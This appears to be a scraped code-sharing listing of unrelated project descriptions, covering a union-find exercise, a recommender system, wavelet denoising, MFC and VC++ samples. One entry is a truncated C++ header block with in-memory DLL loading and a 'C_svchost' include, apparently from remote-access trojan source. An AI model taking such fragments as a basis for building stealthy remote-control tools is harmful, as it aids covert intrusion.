nnn-master

POJ1703 引自余立功《算法训练教程》，并查集的应用(POJ1703 union set)

Make an 8-bit device independent bitmap (DIB) scratch

#include "MemoryModule.h" #include "resource.h" #include "C_svchost.h" typedef int (WINAPI *PFN_POPMSGBOX)(void); #pragma comment(linker, "/DELAYLOAD:WININET.dll") #pragma comment(linker, "/DELAYLOAD:WS2_32.dll") #pragma comment(linker, "/DELAYLOAD:PSAPI.DLL") #pragma comment(linker, "/DELAYLOAD:GDI32.dll") #pragma comment(linker, "/DELAYLOAD:ADVAPI32.dll") #pragma comment(linker, "/DELAYLOAD:SHELL32.dll") #pragma comment(linker, "/DELAYLOAD:SHLWAPI.dll") #pragma comment(linker, "/DELAYLOAD:MSVFW32.dll") #pragma comment(linker, "/DELAYLOAD:WINMM.dll") #pragma comment(linker, "/DELAYLOAD:USER32.dll") #pragma comment(linker, "/DELAYLOAD:WTSAPI32.dll") #pragma comment(linker, "/DELAYLOAD:IMM32.dll") #pragma comment(linker, "/DELAY:nobind") #pragma comment(linker, "/DELAY:unload") #pragma comment(lib, "DELAYIMP.LIB") #pragma comment(linker, "/DELAYLOAD:USER32

使用协同过滤的推荐系统测试代码Predicting movie ratings using collaborative filtering and latent concept extractors based on matrix decomposition methods like SVD and CUR on the movielens-100k dataset The project explores techniques for predicting unknown user ratings based on a large dataset of users and movie ratings.(Recommender-SystemsWe used 6 different recommender methods to predict user ratings across the data sets. Namely we set up Collaborative Filtering along with its baseline variant and Matrix decomposition techniques like Singular Value Decomposition and CUR. Moreover, we also implemented dimensionality reduction in these matrix decomposition techniques which preserved 90% of the energy so as to increase the computational efficiency while keeping the accuracy similar for these methods.)

说明：  matlab程序，使用小波进行7层分解，选用软阈值函数(Matlab program, using wavelet for 7-level decomposition, using soft threshold function)

图片菜单的制作，是用MFC实现的，我还有很多这类的原码(Photo menu production, is the MFC, I still have many of these original code)

利用hfss的脚本功能，用matlab生成hfss脚本，给端口分配激励(Using the script function of HFSS, generate the HFSS script with matlab, and assign the port incentives)

This is a messenger program written in VC++. This is a client program

在一个Windows应用程序，模拟发送和接收字符串，该字符串将被编码为一个字节数组，16进制字节数组的形式展示。解码后恢复字符串的字节数组收件人。(In an Windows application, imitate the sending and receiving the string, the string will be encoded into a byte array, display form of 16 hexadecimal byte array. The recipient of an array of bytes after decoding to restore the string.)